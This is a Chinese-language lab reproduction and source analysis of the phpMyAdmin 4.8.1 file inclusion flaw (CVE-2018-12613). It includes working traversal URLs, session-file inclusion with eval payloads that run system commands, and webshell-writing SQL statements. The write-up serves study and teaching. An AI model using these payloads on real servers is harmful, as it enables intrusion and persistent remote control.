phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 漏洞复现
一、漏洞描述
phpMyAdmin 是一套开源的、基于Web的MySQL数据库管理工具。在 4.8.2 之前的 phpMyAdmin 4.8.x 中发现了一个问题,其中攻击者可以在服务器上包含文件。该漏洞来自 phpMyAdmin 中重定向和加载页面的部分代码,以及对白名单页面的不当测试。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
攻击者必须经过身份验证,以下情况除外:
$cfg['AllowArbitraryServer'] = true
:攻击者可以指定已经控制的任何主机,并在 phpMyAdmin 上执行任意代码;
$cfg['ServerDefault'] = 0
:这绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。
二、漏洞影响
4.8.0 <= phpMyAdmin < 4.8.2
三、漏洞复现
1、环境搭建
cd vulhub/phpmyadmin/CVE-2018-12613
docker-compose up -d
2、漏洞复现
访问http://x.x.x.x:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
,可见/etc/passwd
被读取,说明文件包含漏洞存在:
方法一:命令执行
尝试在server_sql.php
页面执行select '<?php phpinfo()?>';
:
php生成session
时,会生成在/tmp
目录下,且以sess_
开头,例如:/tmp/sess_be9f3bebfb7ab4192fd07c479cf6b171
,其中记录着用户的操作:
session文件的值也就对应了 HTTP 请求 Cookie 中phpMyAdmin
的值。
比如刚才的SQL语句被记录下来,在服务器解析该文件时,会被当作php代码执行。
尝试包含session文件:
http://x.x.x.x/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_be9f3bebfb7ab4192fd07c479cf6b171
刚执行的SQL查询被当作了PHP代码执行。
在SQL控制台执行:select '<?php eval($_GET["hack"]);?>'
将session文件包含,并使用system()
函数实现命令执行:
http://x.x.x.x/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_9ff5fabdce48526b442c8e16cdd83bab&hack=system(whoami);
得到结果:
方法二:phpMyAdmin Getshell
也可以将 WebShell 写入,首先从phpinfo()
中查看 web 路径:
搜索CONTEXT_DOCUMENT_ROOT
:
构造Payload:
select "<?php file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[cmd]);?>')?>"
再次包含文件:
http://x.x.x.x/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_2c3dd215ccd61cdb6066d8cab495bcba
访问http://x.x.x.x/shell.php
:
webshell 已经写入,使用蚁剑连接:
成功获取到目标服务器权限。
方法三:Mysql Getshell
登入phpMyAdmin后,数据库就已经被控制,可以任意写入数据,还可以把 WebShell 写入到数据库中
可以把一句话木马:<?php eval($_GET["hack"]);?>
写入到数据表的字段值中:
查看数据库安装路径:
select @@basedir as basePath from dual ;
show variables like '%basedir%';
查看数据库data路径:
select @@datadir as dataPath from dual ;
show variables Like '%datadir%';
查看/var/lib/mysql/test/test_1.frm
文件(test数据库,test_1数据表):
通过frm
文件可成功连接蚁剑等。
http://xxx/index.php?hack=phpinfo();&target=db_sql.php%253f/../../../../../../MySQL/data/hack/hack.frm
.frm
是描抄述了表的结构.MYD
保存了表的数据记录.MYI
则是表的索引.opt
记录数据库的选项,数据库的字符集设置
3、漏洞分析
下载phpMyAdmin 4.8.1源码
漏洞问题出现在index.php
页面55~63
:
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
源码分析:
- 其中
include $_REQUEST['target'];
可能存在文件包含漏洞; - 其中
$target
变量中不能以index
开头; - 且不能是
$target_blacklist
黑名单中的内容
/*
* Black list of all scripts to which front-end must submit data.
* Such scripts must not be loaded on home page.
*
*/
$target_blacklist = array (
'import.php', 'export.php'
);
只要不是import.php
或export.php
即可
- 满足
Core
类的checkPageValidity()
方法
在phpMyAdmin/libraries/classes/Core.php
中:
/**
* boolean phpMyAdmin.Core::checkPageValidity(string &$page, array $whitelist)
*
* checks given $page against given $whitelist and returns true if valid
* it optionally ignores query parameters in $page (script.php?ignored)
*
* @param string &$page page to check
* @param array $whitelist whitelist to check page against
*
* @return boolean whether $page is valid or not (in $whitelist or not)
*/
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr( $page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
分析代码:
- 需要让该函数返回
true
,也就是变量$page
在白名单中,但白名单为空 mb_strpos()
方法是查找字符串在另一个字符串中首次出现的位置mb_substr()
方法返回字符串的一部分- 也就是经过两个函数的共同处理,
$_page
变量去除了后面的传参,只保存了文件名 - 也就是
index.php?id=1
经处理变成了index.php
- 变量
$_page
在白名单中,但白名单为空 - 变量
$_page
经过urldecode()
方法,继续做如上操作 - 若都不满足,则返回
false
其中问题出现在$_page = urldecode($page);
中,可以利用这个函数绕过$whitelist
白名单的检测,构造Pyaload:
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
也就是将在浏览器传入参数时,?
进行一次解码,再经过urldecode()
的第两次解码后,会导致db_sql.php
作为参数而绕过白名单检测,从而实现文件读取。
四、漏洞POC
访问http://x.x.x.x:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
,可见/etc/passwd
被读取,说明文件包含漏洞存在:
五、参考链接
https://nvd.nist.gov/vuln/detail/CVE-2018-12613
https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog